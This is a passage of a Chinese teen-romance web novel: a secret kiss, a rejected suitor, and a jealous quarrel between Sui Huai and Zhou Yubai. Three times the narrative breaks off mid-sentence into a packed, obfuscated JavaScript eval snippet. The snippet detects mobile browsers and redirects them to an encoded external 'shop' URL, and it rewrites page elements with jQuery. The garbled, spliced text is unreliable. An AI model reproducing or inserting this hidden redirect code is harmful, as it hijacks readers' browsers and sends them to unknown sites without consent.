岁淮想了想,“以前我爸妈很会喝酒,后来我妈去世了,我爸有一阵不是天天出去赌博喝酒嘛,我被那群追债的灌过,当时就头晕了会儿,没醉。我估摸着我酒量应该挺好的。” 周聿白沉默了会儿,拿过酒杯,晃了晃。浓郁的红酒香在空气中蔓延开来,他声音挺沉的,“以后不会了。” 岁淮看他,这人刚还对她兴师问罪呢,这会儿因为觉得自己问错了话低着头,眼皮也垂着,身上那股游刃有余的劲儿没了,话也不说了,满身的愧疚和心疼。岁淮真的想不通,世界上怎么会有这么一个人就是顺着她的心意长得呢,她开心他也跟着高兴,她情绪稍有变化他能立刻懂你哄你,一有事儿他必定最先挡在她前头护着。他这个人随便说点什么,做点什么,就是朝她勾勾手指头,她都觉得这人她喜欢的不行。 要死了。 这样一个男孩子天生就是来勾她的。 “当然不会啊,我现在有阿姨,叔叔,还有你,生活无比美好!”岁淮举起酒杯碰了下周聿白的,清脆的玻璃声,噔,像极了玉镯相撞的脆响,悦耳至极。她歪了下脑袋,笑得明媚好看,“你们来救我啦。” “不是我们救你,是你本该有这样的生活。”周聿白正经的时候脸色是很冷淡且锋利那一挂的,就这么安静的看着她,那眼神在岁淮看来是有一些微妙的。 只是在岁淮想要真的去探究时,周聿白眨下眼就没了,消失地特别快,要么就是那点微妙周聿白自己也没意识到,所以如镜花水月,上睫毛下眼睑一盖,没了;要么就是那点微妙压根儿就不存在,岁淮看花了眼。 “岁岁,你很好,所以你得信自己,你以后过得会更好。” “你希望我过得好吗?” 她好像问了一句废话。 这世界上再没有谁比周聿白更希望她过得好了。 周聿白勾了勾唇角,懒洋洋地语调说出最正儿八经的话:“我希望你过得好。过的最好。” 岁淮:“那我希望你比我过的更好。” “不行,你要比我好。” “你最好。” “你更好。” “我俩都好。” 两人默契地碰了下酒杯。 岁淮潇洒不羁地一饮而尽,酒精在口腔中横冲直撞,味蕾被刺激得阵阵发涩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252551|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嗓子眼像糊了几层黄沙,呛得岁淮直咳嗽。该死,让她装,一下子装猛了。 “咳咳咳!” “周聿白,给我拿杯水……” “咳咳咳……” 叫了老半天没个回应,岁淮呛得满脸通红,直起腰,看见沙发上倒着的人怔了怔。 周聿白这人有时候耍浑,别人压根分不出来他是不是在逗你,岁淮着过他的道,事后被他狠狠嘲笑过。所以这种时候,岁淮抱着怀疑的态度没靠近,伸着脚尖踢了下,“混球,别骗我了,我知道你故意装的,快点去给我拿杯水。” “……” “不醒是吧,我打你脸了啊。” “……” “拍你丑照了啊。” “……” “喂,你再不醒过来——” 我就亲你。 那句大逆不道的话岁淮终究还是没说出口,她没有一丝赌的把握就不会随随便便地说出来。她蹲在沙发旁边,用手戳了戳周聿白的胳膊,毫无动静,人还是躺在沙发上,眼睛安静地阖上,唇抿着,胸膛轻轻起伏,呼吸平稳,握着酒杯的右手从沙发垂落下去,手指在灰色地毯上衬得格外白,格外修长。 钟晴很会喝酒,还会自己调酒,所以不只是岁淮恐怕连周聿白自己都会下意识觉得他应该随他妈,是个千杯不醉的德行。 没想到周聿白竟然是个一杯倒。 岁淮又戳了戳周聿白的脸,依旧没反应,大着胆子将手指隔空地悬空在他的唇上方。 只需轻轻一点,就能碰着他的唇。 “周聿白,我喊你好几声了,你都没醒。” “是你自己太菜,一杯倒。” “所以不能怪我。” 岁淮不知道说给周聿白听,还是说给自己听。右手食指和中指并拢,在自己的唇上碰了下,再慢慢地、小心翼翼地盖在周聿白的唇上,蜻蜓点水。 可是不够,还不够。 人心总是贪婪的。 周聿白是真的不胜酒力,一杯倒的菜鸡,脖子已经被酒精烧得通红。他睡得不很安稳,眉头也拧着,胸膛起伏的程度在加大,身上的白T皱皱巴巴,布料勒出了这个年纪的少年最为清瘦却不单薄的腰身,有一股清韧劲儿。 “周聿白你知道吗?你这个样子真的特好欺负。” “我要欺负你了。” “你别怪我。” 岁淮化身一个小霸王:“姐姐我今天就替天行道,收了你这妖孽——” 她声音渐渐变成气声。 低头,闭眼,屏息,把唇轻轻贴在少年的嘴角。 一触即分。 鼻尖对着鼻尖,唇贴着唇。 顷刻间酒精像是燃烧的火星,将岁淮整个人灼烧的不成样子,呼吸滚烫,大脑宕机。整颗心都被酒精浸润得湿淋淋,她好像比周聿白还醉,分不清现实和梦幻,满脑子都是刚刚那微妙却刺激的触感。 微凉的,像冰块,还有红酒香。 岁淮跟跑了三千米无异,虚脱地跌坐在地毯上,多巴胺和肾上腺素同时飙升,整个人如同在一团水里燃烧的深蓝色火球,心都被那个蜻蜓点水的吻给烫麻了。 “周聿白,我好坏。” “我亲你了。” 充满酒精的夏夜,岁淮淡声问空气:“你说我是不是大逆不道?” 14. 告了个白 林姨早晨打电话来说下午才能敢回别墅,早餐得岁淮和周聿白自己解决。周聿白昨晚醉得狠了,估摸着要睡得久一点,岁淮早期下楼煮了个青菜虾仁粥。 电视里放着零几年的老版香港僵尸片,正好播放到红白双煞抬花轿的那幕,音乐诡异,百转千回。岁淮坐在餐桌边,有一搭没一搭地吃着,心不在焉地看着英叔大战女鬼。 “在看什么。” 漫不经心地下楼声。 “新僵尸先生。” 周聿白还穿着黑色的睡衣,有些慵懒,去冰箱拿了瓶酸奶去厨房热了热。看着锅里的青菜粥,不客气地给自己盛了一碗,捧到餐桌边坐下吃,“上次淘的碟?不是看过了吗?” “那是僵尸先生,差个字。” “哦。” 周聿白吃饭不怎么爱说话,说也得把嘴里的东西给咽下去了,才慢悠悠地应两声。岁淮常觉得,也就这时候才能看出周聿白身上几分少爷性子,吃饭慢条斯理,算不得挑剔,但也不好糊弄,咸了淡了他尝出来也会跟你说一声。 比如现在。 “粥有点咸了。” “爱吃不吃。” 周聿白闲哉哉地用瓷勺搅了搅粥,笑吟吟,“吃,不吃得饿死了。” 岁淮记起昨天他俩上街逛总共就买了几个炸串,油腻腻的东西周聿白吃不惯,全让岁淮一个人炫了。也就路过常光顾的那家狼牙土豆的小店,周聿白才吃了一份垫垫肚子,等到晚上的时候两人喝了杯椰奶和芋圆奶茶。岁淮饭量没多大,晚上睡觉都不觉得饿;周聿白就不一样了,十七八岁的男孩子饭量都大,消耗的也快,昨晚他醉晕过去后什么也没吃,难怪饿坏了。 “你胃难不难受?”她问。 “有点。” “我给你拿药,颗粒还是冲剂?” “不用,刚下楼的时候拿了。”周聿白不知道从哪变出来一板药,拆开剥出一粒扔嘴里,灌了口水吞下。 岁淮乐了,“你哆啦A梦啊。” “嗯,以后叫我周·哆啦A梦·聿白。”他不着调地笑了笑,脸色还有些疲倦,看样子醉晕过去的一晚不太好受。 餐桌上只有碗勺的碰撞声,叮叮咚咚。 就在这静谧的环境下,周聿白忽然提了句:“昨晚没干什么奇怪的事情吧?” 一句话掀起千层浪。 岁淮本来以为这事儿已经翻篇了,周聿白这人也不是一个喜欢刨根问底的,没想到忽然就转回了那一茬。毕竟她昨晚也是开天辟地头一遭做了那样的事,实打实的坏事,岁淮抵不住地开始心虚,一口粥被她吞咽几回才咽下去,心跳如擂鼓,面上还得装淡定,“我能干什么奇怪的事,周聿白,你讲点良心吧,昨晚还是我把你从沙发拖回房间的。二楼,累死我了,你重的跟山一样。” 周聿白无辜被骂,漫不经心地笑两声,“你紧张什么。” 握着瓷勺的手不受控地抖。 岁淮的心跳幅度一山更比一山高,藏在头发下的双耳烧起来,她强迫自己快点冷静下来,告诉自己昨晚周聿白明明醉的很死,他肯定是不记得的。可岁淮就是没法儿安静下来,只要想到“周聿白知道她亲他了”、“周聿白接下来会怎么做”、“他会不会讨厌她甚至疏远她”的这些可能性,一阵后怕爬上背脊,阵阵发寒。 什么岁霸王,她怂的像鸵鸟,头埋下来,开始后悔昨晚自己的所作所为。 就在这时。 周聿白说:“我问你,我昨晚有没有做什么奇怪的事儿?” 一瞬间沉入水底,又在下一秒浮出水面。 天知道这漫长的几秒在岁淮这里不亚于过了几年,她长吁一口气,拖着音,“有啊。” 周聿白好奇,还有点不安,“……我做什么了?” 她坏心眼地说:“不告诉你。” 周混球还有求人的时候,抬手摸了摸后脖颈,想知道又怕知道,但更不想看着岁淮小人得志地笑,勾着他很没安全感。他看着岁淮又是哼歌又是喝粥,一副铁了心不告诉他的模样,静静地叹口气,身子往岁淮那边靠,还是那副冷冷淡淡的脸色,唇勾着,嗓音笑着地求人:“告诉我呗,拜托拜托。” 岁淮猛地挪开眼,暗骂这狗东西挺会啊,知道仗着自己那张脸迷惑人。她勉为其难地说了句行吧,正儿八经地唬人:“你昨天真是一杯倒,我被呛住了喊你拿水,结果你人已经躺在沙发了。耐不住我这人心地善良,热于助人,专门给你倒了一杯温水,生怕你不舒服,结果你倒好,不识好人心地推了我一把,站在沙发上乱骂人!说周聿白是什么星系的最后一个守护者,你身负重任,要打败地球人,光复星球。” 周聿白似笑非笑地盯着她。 岁淮补了句:“特别吓人呢。” 周聿白看她生龙活虎满嘴跑火车的劲儿,猜昨晚应该没出什么事儿,他没再追问。 倒是岁淮起了聊天的兴致:“阿姨酒量那么好,你怎么是个一杯倒?” “我爸也是个一杯倒。” “哈???”岁淮震惊了,“我还以为叔叔也是个能喝的呢,那之前在老宅,叔叔一下子喝个十几盅都没醉。” 周聿白一听就笑,“里面装的水,我妈让我换的。” “所以说你是遗传了叔叔,没继承阿姨的海量啊,”岁淮抿着唇,“啧啧,可惜。” “不可惜,爷继承一张脸可以了。” “滚吧你,自恋狂。” - 下午小分队一起约出来玩滑板。 新修的广场面积大,大理石地板平顺光滑,周末是个起了凉风的晴天,不少人在广场转悠。 余伟还撞见在一中附近的学生街卖五香鸡架的熟人摊子,一口气要了五份,“五香两份,番茄一份,沙拉一份,最后一个孜然的。” 大叔在学生街做了十几年生意,是不是一中的学生几乎都混了个脸熟,一眼看出余伟是那儿的学生,笑呵呵地每份都多给了一个。 “谢谢叔!” 余伟拎着五份鸡架跑回来,一人分了一袋,“别客气兄弟姐妹们,今天你余爹请客,敞开了吃。” 章盈戴上手套,咬了口五香的鸡架子,瞬间香的找不着北,“你发大财啦?” “没有没有,零花钱。” “余少阔气啊,之前抠抠搜搜的只请我们吃五毛一包的小卫龙。”岁淮想起来就好笑,卫龙小辣条都是童年的回忆了,现在店里多数是网红辣条,牛筋鱼仔干脆面什么的,只有一些小店铺会进购那种最原始的包装辣条,也不知道余伟哪里淘来的,上面还贴着标价“五毛一包”。 余伟:“小卫龙怎么了,你就说好不好吃吧?” 岁淮点头:“那还是很好吃的。” 余伟哼哼两声,自己啃了个鸡架,转头看周聿白跟程清池的那两份一口未动。俩人真就学神附体,都是一米八几的大高个,排排坐在红木长椅上,长腿大喇喇地敞开,划拉着手机讨论题目,貌似是程清池觉得答案还可以,周聿白觉得答案很拉,两个人你来我往地辩论,最后以程清池一句“洛必达法则可能扣分”结束。 周聿白垂下眼皮,想了几秒:“有点道理。” 程清池很淡地笑了笑,“这次我赢?” “膜拜啊,”周聿白懒洋洋地夸,拖着音,笑得比那天边的火烧云还要耀眼好看,“你聿哥佩服。” 烈焰般的晚霞,人来人往的广场,红木长椅上两个相貌出众的少年,一个清冷,一个肆意,像是干净的水和灼灼的火碰撞在一起。谈不上天才吸引天才,那也算得上是好学生的独家气场,路人往他们两中间看一眼,就会福至心灵地感受到:哦,俩学霸。 余伟啃着鸡架,说话都是含糊着,“要不是知道这俩货向来就这德行,还真以为故意装出来撩女生的。” 章盈腮帮子啃得鼓起来:“就是。” 岁淮行动力快,早把鸡架啃光了,她滑滑板的技术很菜,去年撞坏了常用的那个,后来就没买。刚才去另一边租了一个,一小时三百块。 余伟一听,炸了,“卧槽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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章盈和余伟佩服的五体投地,连带着程清池也对她竖了个大拇指,这操作神了。 周聿白也竖大拇指:“厉害。” 岁淮轻扬眉梢:“那是。” 夏天的风吹啊吹,鸡架的孜然香混合着汽水咕噜咕噜的冒泡声,少年们在广阔的天地间无拘无束地奔跑着,球鞋踩过地面刹不住车时响起“滋啦”一声的刺耳声,滑板轮子碾过大理石地板,谁家的泰迪和拉布拉多面对面地汪汪叫。 于是岁淮想起了老槐街的那只大黄,他们好久没去看它了,秘密基地也有一阵没去了。 “下次我们去秘密基地转转吧。” “好啊,好久没去都落灰了。” “大黄也没喂过了,你说它瘦了没?” “瘦屁瘦,旁边就是肉摊。” “那不会胖成小猪了吧。” “你以为谁都像你啊,那么能吃——”章盈刚说完就要摔倒,滑板不受控地要从脚底板溜走,啊啊啊地叫了几声,一把扒拉住余伟,“吓死我了。” 余伟记仇:“你刚说我像猪!我那么帅,那么高,哪里像猪了!这个世界上不存在有我这么帅的猪。” 岁淮趁乱拍了下余伟的脑袋瓜,滑着滑板溜走,笑得欠,“余猪猪。” “操,岁淮你丫的!”余伟告状,“盈盈,岁淮欺负我。” 章盈站稳,玩心大发,跟余伟一起去追杀岁淮,三个幼稚鬼满广场跑。周聿白和程清池在后面不紧不慢地滑着,时不时被三个幼稚鬼当做屏障,秦王绕柱似的转来转去。 玩了一个小时几个人才玩累了歇歇。 岁淮累得走不动,只好周聿白去替她还滑板。一来一去十几分钟,回来的时候,小分队多了个人。 准确来说,是岁淮身边多了个人。 炎炎的大夏天,那男生穿着冲锋衣,戴着一顶深色棒球帽,帽檐压得很低盖住了大半张脸,只露出一个下巴。他正在跟岁淮说话,聊了几句,唇角恹恹地笑了,也就这一个笑的动作,他抬了抬头,露出一整张脸。 很拽,笑得坏,左眉尾部断了一小截。 桀骜不驯那挂。 周聿白认出是谁了。 顾远。 就在他认出是谁的同一时刻。 顾远低了低头,笑着对岁淮说:“拜托拜托,做我女朋友吧。” 15. 赌气 岁淮一条胳膊隔在中间挡住:“停下。” 顾远笑得不正经,但还算听话地停了下来,身子站直,“我可是一下飞机就来找你了,看我身上这衣服都没换。岁岁,你看我多想你,你就没一点想我?” 岁淮冷哼了声,还想你,没打你就不错了。 “你怎么知道我在这里?” “余伟说的。” 余伟一听,眼睛都瞪直了,指着顾远骂:“我靠顾远你他妈太不讲诚信了吧,说好你给钱我给消息互不相欠,回头岁淮问起来别提我名字,你他妈这就把我卖了???” 顾远耸肩,一副“谁让我爱她不忍心骗她”的样子。 岁淮慢悠悠地看向余伟,笑得阴森:“好啊你,我寻思今天怎么这么大方请我们吃鸡架,合着是靠卖我消息来挣外快。” “……我这不是看不赚白不赚嘛。” “第几回了?” “……第一回!也是最后一回!”余伟发誓,双手合十认错。 “你挣了多少?” “就一点,一点点——”顶着岁淮威胁的目光,余伟砸吧嘴说了真话,“好吧,五百块。” “好啊你!”岁淮愤愤地指着他,没得商量地说,“一人一半,否则这事儿没完。” “卧槽岁淮你打劫!” 岁淮瞥了一眼他,余伟秒怂,毕竟他不在理先,咬着牙:“行,一半就一半,财迷,没人性。” 她才罢休地收了目光,余光瞥向不远处的人。 那人老大爷似的靠坐在长椅上,一条胳膊垫在脖子后,另一只手缓慢地转着手机,似笑非笑地望着这边看戏。就是那笑,假得很,岁淮瞥一眼那弧度就知道周聿白现在心情很一般,笑里掺着寒,凉嗖嗖的。 见她终于发现他了,周聿白才把那副看戏的样子收了,不过他也没过来,还坐在长椅上。背脊微微弓着,两手撑着膝盖,远远地说上一句:“答应了?” 岁淮反应了数秒,才明白周聿白问她答没答应顾远做他女朋友。 她在心里翻了个白眼,她答不答应他能不知道?怕是她点了个头,顾远就被他老人家削了,还在那坐得住。周聿白这混球就是故意的,他心里不爽快了也叫别人跟着不好受,他不会发脾气,不会说脏话,也不会给人脸色看,就这么笑意盈盈地望着你,说些不着三不着两的话,让别人反过来担心他,把所有的注意力全放他一个人身上,真的讨厌死了。 也喜欢死了。 因为每回都让岁淮产生一种错觉——周聿白是喜欢她的,他在吃醋,他占有欲在作祟。 尽管她知道,这真的只是她的错觉。 周聿白的一切反应来自于哥哥对妹妹身边所有追求者的敌意。更何况还是顾远,他俩向来不对付。 岁淮还没说话,顾远先一步开了口,开口就是硝烟弥漫:“她答不答应有你什么事儿。” 周聿白施舍了顾远一个眼神,没说话,转而又望着岁淮:“语气这么冲,看来咱家岁岁没答应。” 顾远:“……” 旁边的章盈和余伟闻到了火药味,还顺手拉了一把程清池,三个人躲得远远的。 岁淮没好气地用口型骂:塑料。 顾远没什么表情地看了眼周聿白,扭回头,旁若无人地对岁淮说:“这次暑假我飞了很多地方,最后一站是澳大利亚,你上学期不是说想要一张袋鼠打架的近景照片吗?我拍到了。” 他一下飞机就来这边,衣服没来得及换,却没有忘记带上给岁淮的照片。 少年的心意在这一刻比夏天还要热烈,比风还要坦荡,他本就生的好看,一笑起来就更好看了,“岁淮,给你。” 他给的已经不只是一张照片。 还承载着少年赤诚而沉甸甸的喜欢。 所以岁淮不能接。 她忽然很头疼,半是愧疚,半是懊恼。 因为这张照片的由来是上学期她随口说的一句话。 那时候顾远也是这么堵她,楼道,操场,教室走廊,各个能被偶遇的地方都能碰见顾远,岁淮实在没办法,她忙着期末复习就含糊了他一句,说是喜欢袋鼠打架,你拍到了我再跟你说话。没想到,顾远这人成绩烂归烂,执行力竟然这么强,暑假去旅游还顺便飞去了澳大利亚拍袋鼠打架! 可是当时岁淮不过脑子的“袋鼠打架”并不是她真的想看,是因为前一天她跟周聿白两个人看了个纪录片,上面就有两个袋鼠在打架。但那幕在纪录片里是远景,看不清,于是周聿白说了句:“要是有张近景拍摄就好了。” 岁淮叹气:“对不起顾远,我不能要。” “为什么?”顾远笑意淡了些。 “上学期跟你说想看袋鼠打架是随口胡诌的,我没想到你真的去拍了,对不起。”岁淮认真道歉,“这张照片我不能要,同样,你刚才的追求,我也不能接受。顾远,你长得帅,家世好,你是一个——” 顾远明显被那句“你长得帅”爽到了,勾着唇:“下一句是不是要给我发好人卡了?” 岁淮愣了一下。 “去澳大利亚跟你没关系,是我自己想去,这照片随手拍的,你不用有心理负担。所以你千万别把拒绝我跟拒绝这张照片联系在一起,你拒绝我七八上十回了,我无所谓,”顾远把照片塞岁淮手里,少年指节修长有力,许是真的太热,他体温都格外高,“这张照片你收下,别丢,不然我真自闭了。” 岁淮捧着那张照片不知所措。 她回头看了眼周聿白。 周聿白也在望着她。 岁淮叹口气:“顾远,现在是高三了,时间很紧张,我没法像高一高二那样再去用各种理由搪塞你敷衍你,这是对你的不尊重,也是浪费我的时间。我们找个机会聊聊吧,要不就今天?” 顾远还在笑,“好啊。” 岁淮走到周聿白旁边,仰着头,声音轻轻的:“滑板还了吗?” “还了。” “好。我今天晚点回去,你跟盈盈他们先走。” “嗯。”周聿白唇角扯了扯,“注意安全,别乱跑,有事打我电话。” - 夏天的傍晚温度有所降低。 斜阳将并排走的两个人影子拉得长长的。 岁淮实在看不下去顾远那身冲锋衣,裹得那么紧,还是黑色,她都替他热:“你要不要换一件?” “怎么了?”顾远咳嗽两下,“不好看?” 岁淮:“……” 她无语:“怕你热晕过去,我们没法儿谈。” 顾远笑:“关心我啊。那是不是代表着你有点喜欢我了?” “……” “不说话就当默认了噢。” “没有!”岁淮就知道她跟顾远正经不了两句,话不投机半句多,聊着聊着就跑偏。 顾远看她像个炸毛的小狮子,笑着说实话:“我在国外晒伤了,医生说多穿点。” “哦。”岁淮没多大反应,“现在是不是能谈谈了?” “等会儿,先去个地方,”顾远戳中岁淮财迷的软肋,“我花了重金,排了一个月才排到。” 顾远停在了一家纹身店。 这店面岁淮听过,很贵,很难约,因为开这家纹身店的老板是个脾气很怪的人,不缺钱,所以生意做不做全看心情,看你顺眼就接单,看你不顺眼就不接,就任性两个字。 倒跟这家店的店名配的很——任性。 岁淮震惊:“你要纹身?” “嗯。” “纹什么,你不怕教导主任追杀你?” “怕啊,”顾远懒懒地说一声,“不过为爱献身,我愿意。” 岁淮没懂他这句话什么意思,直到走进店里,顾远拿出一张纸,上面是他自己设计的纹身图样,就两个字母:“SH&GY。” 岁淮一看,血液冲到天灵盖,气不打一处来:“你神经病吧。” 顾远被骂了也不气,靠在沙发上,翘着二郎腿:“不说了为爱献身吗,肯定是纹你跟我的名儿啊。” “不许纹。” “我付钱了。” “你不怕周聿白知道了卸掉你胳膊?”岁淮指了指他要纹身的那只手。 顾远轻嗤了声:“也要他有那个本事。” “他有。”岁淮忽然正经,声音很淡,“顾远,周聿白要是知道这件事一定会找你算账的。他把我……当妹妹,你这样宣誓主权的无礼行为,肯定会连累我,他就一定不会放过你。” 顾远也收起了笑,声音没情绪:“那我跟他,你帮谁?” “帮周聿白。” 她回答的毫不犹豫。 顾远冷着脸,眼神冷淡地看着外面,沙发后面的店员还弯腰举着那个纹身图纸,不知道怎么办。过了会儿,顾远低声自嘲:“行,又伤我一次心,岁淮,也就你敢。” “我没什么不敢的。”岁淮开门见山,“顾远,我跟你说的很清楚了,别喜欢我,别追我,没结果。” 顾远也不废话:“不可能。” 岁淮憋了一年的火气炸了,“你是不是有什么毛病啊,我不喜欢你,我甚至都不怎么认识你,你就跑上来喜欢我喜欢的不行,你有什么受虐的倾向吗?” 她胸膛不断起伏,说出来的话又狠又决绝,容不得别人一点多想的空间:“高二开学第一周,你在走廊堵我,老班看见了骂了我十分钟。期中考试你跟我表白,教导主任拎着我去办公室挨训,差点请家长。还有升国旗那回,你上主席台反省,莫名其妙就说喜欢我要追我,把校长气的够呛,就差一点我倒大霉跟你一起被通报批评……” “高二一整年,你骚扰了我一整年,我每次都明确告诉你,我不喜欢你请你下次不要这样了,说的够明白了吧?可是永远都有下一次。有意思吗?很好玩儿吗?顾远你是大少爷,家里有钱有人脉有资源,你不想读书,不用好成绩,不用考一个好大学,照样有大好前程等着你,我不一样!我得高考,我得考个好大学,不然我这辈子就完了!” 这是顾远第一次见岁淮发这么大的火。 “你是周家的人,怎么这辈子就完了?” 岁淮平静地看着他:“我不是。” 顾远怔了下,随后又听她道:“我不是周家人。我姓岁。不一样。” 岁淮情绪失控只持续了半分钟,很快平复下来,“顾远,我们是两个世界的人,我也不喜欢你,我们没可能——” 顾远没了那副不正经,沉默地看着岁淮,而后听见她利落干脆地说:“我已经有喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252553|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了,很早很早以前就喜欢。除了他我这辈子都不会再喜欢上任何一个人了。” 亲耳听到时,顾远并没多意外,他早就猜到过。就是挺好奇岁淮喜欢的那个人长什么样儿,有什么通天的本领,是能翻筋斗云的花果山美猴王,还是一拳打十个怪兽的奥特曼,才能让她这么死心塌地。 顾远缄默半晌,“真就这样了?” “嗯。” “喜欢他喜欢到没法儿改了?” “对,没法儿改了。” “能跟我形容形容他是什么样的吗?” 岁淮警惕的看着他,抿唇不答。 顾远看笑了,还有点气:“怎么着,以为我要去报复他?我是那样的人?”他笑意淡下来,不知道想着什么,摆了摆手,说了句意味不明地话:“想报复他也得有那个时间。” 岁淮试探道:“那我们今天算是谈成了?” 顾远又恢复成吊儿郎当的样儿,“没啊,我还喜欢你,”他笑得很坏,“还会继续追你的,我的岁岁。” - 跟顾远的谈话崩了,那挨千刀的根本就是油盐不进。 岁淮打车回了周家,路上时不时看两眼手机,一个电话和微信都没有,周聿白还真把她放养了。 车停在离别墅有一段距离的路口。 别墅区是富人区,治安好,夜间静谧得只能听见蝉鸣。岁淮垂头耷脑地走路,脚尖有一搭没一搭地踢小石头玩儿,一秒踢飞一个。 白玉般的鹅卵石骨碌碌地滚到一人脚下,被踩住,球鞋漫不经心地转了转,重新踢回去,撞到了岁淮的鞋。 她抬头。 几米外的橙黄路灯下,少年穿着黑T,黑裤,夏夜的风吹起他的刘海,黑白分明的瞳孔望着她,目光灼灼。 “周聿白!”岁淮哒哒哒地跑过去。 “小疯子啊。” “你怎么来了?” “接你。”他说的理所当然。 岁淮的心被羽毛尖儿轻轻挠了下,跟顾远谈崩后的那点不愉快在看见周聿白时烟消云散。她“啊”了声,从口袋里摸出几个果冻,“差点忘了这个,给你。” 周聿白拿过来看了看,“这什么。” “上次你不是想尝尝吗,回来的时候看见了,就买了几个。” 周聿白看着袋子上“吸吸冻”三个字,拆开一袋给岁淮,她吸溜一声,嚼得腮帮子鼓起来,像个小仓鼠。周聿白笑了下,也给自己拆了袋,学她那样吃果冻,“跟顾远聊完了?” “嗯。” “怎么样?” “就那样,死性不改。” 两人在黑暗和灯光交错的鹅卵石路上并肩走着,周聿白淡声问:“没告诉他你有喜欢的人了?” 岁淮脚步顿了顿,避重就轻地“嗯”了声。本想着这类话题周聿白不感兴趣,他那人也有原则,不爱去探听人隐私,今晚跟转了性似的,又追问了句:“他怎么样?” 岁淮反应了几秒。 周聿白是在问她,她喜欢的那个人怎么样。 “挺好的。” “评价很高啊。很喜欢?” “是,很喜欢。” 岁淮不知道哪里蹿起来一股未名火,有些赌气:“喜欢到爆了。” 周聿白扯了扯嘴角,似乎还挺为她高兴,“文科理科?” 那句“不关你的事吧”已经到了嘴边,岁淮狠狠咬着果冻吸管,冷静了会儿,那点火气像个戳瘪的气球慢慢淡了。她选了一个周聿白不太感兴趣、也很少交集的地方:“国际班的。” 国际班不走国内的应试教育,专为出国留学准备,所学的课程也跟文理科学生不一样。顾远就是国际班的,所以才天天有大把时间来追岁淮,老师也没敢把他怎么样,谁让人家家底厚。 至于周聿白,钟老爷子和周老爷子倒是都想让他去读国际班,留学深造,回来接管钟家和周家的生意,不过钟晴和周盛巡两人到底是科研工作者,思想开明,尊重周聿白自己的选择。最后周聿白自己选择了理科,他本人不太想出国,周家和钟家都疼孙子,也不强求,再说多读书也不是坏事儿,一个人得先有了知识,才能充实头脑,才能去干大事儿。 周聿白拧眉:“国际班?” “对,怎么了?” 周聿白清醒理智地跟她分析利弊:“国际班毕业就会出国留学,到时候他在国外,你在国内,这跟网恋没什么两样,异国恋对感情的稳定和发展影响很大。” 岁淮就是随口胡诌的,没想到这人还较真儿上了,一板一眼地跟她讨论谈恋爱值不值当。刚憋回去的火气又蹿上来,岁淮觉得这会儿她自己就是一个炸药桶,一想到周聿白正儿八经地分析她跟别人怎么谈恋爱最值当,她就来气,心都坠着疼。 她赌气回了句:“谁说是异国恋,我就不能出国了?” 话一出,周遭的空气瞬间冷凝。 蝉鸣都察觉出了不对劲,没声儿了,路灯也黯淡下去了,夜里寂静得只能听见岁淮和周聿白一起一伏的交错呼吸声。 没吃完的吸吸冻还在周聿白手上捏着,他慢慢地转了个圈,脸色冷淡,无甚情绪地盯着岁淮。 而后。 他语调低沉,一字一顿地问:“岁淮,你认真的?” 16. 周公主 两个人一路无话地回了家,周聿白低气压地走进门,岁淮跟在他后面。 林姨问两个人要不要喝银耳汤,周聿白说不喝,径直上楼,岁淮在后面看着他,也有点生气,这人还发起脾气来了! “我喝,”岁淮抱住林姨,“我一个人全喝光。” 林姨拍她的脑袋,“说什么傻话,有一锅呢。” 林姨给岁淮盛了一碗,“你喝完给小聿送去啊。”又盛了一碗放在旁边。 岁淮:“哦,林姨你去睡吧。” 林姨进了房间。 那碗汤还在桌上摆着,冒着热气。 岁淮三两下把汤喝完,端着那碗汤上了楼。 书房是黑的。 岁淮去了周聿白的卧室,亮着一盏暖黄的灯,水生淅淅沥沥,周聿白在洗澡。岁淮在门口等了会儿,水声不见小,也没停,这人在里面泡药浴呢这么久,她推开房门,把汤放在桌面上,敲了敲浴室的门打个招呼就走,“汤放你桌上了。” 岁淮走了几步,水声没停,还哗啦啦响着,也不知道周聿白听没听到。岁淮奇怪他怎么洗澡洗那么久,跑回去敲了敲门,“周聿白?你在干嘛呀,我在外面等你好久了,汤都凉了。” 还是没人。 洗澡洗久了会一氧化碳中毒,她敲门速度更急促了,“周聿白?周聿白?” 几分钟后,在一阵水声中,传来走近的脚步声,下一瞬,门开了,朦胧的水雾伴着沐浴露的味道扑面而来,周聿白只匆匆围了条浴巾在下面,上半身落着,头发是湿淋淋的,水珠都没擦,沿着肌理慢慢淌下来。 他整个人都不对劲,脸色冷着,眼睛却深而沉,好像刚从一个丰沛的雨季中抽出身来,气息很重,“干什么。” 他好凶。他怎么那么凶。 岁淮皱着眉,“我喊你半天你不出声,我以为你洗澡洗晕过去了,就来喊你一声!你什么毛病啊,洗那么久得洗脱皮吧,出来还凶我。”她抬手要给周聿白一拳头。 周聿白气息还喘着,没平静下来,见岁淮靠近一手抵住门拦住她,头低下来,“你真傻还是假傻?” 岁淮眨眨眼,有些懵。 周聿白拧着眉,无奈和稍许焦躁的口吻没了平时那副老神在在的样子,倒有些毛头小子的青涩和毛躁,看她的眼神真就跟看傻子无异。 岁淮缓了缓,下一秒,蓦地脸红。 ……青春期的男孩子血气方刚。 周聿白也一样。 他刚刚在干那事儿。 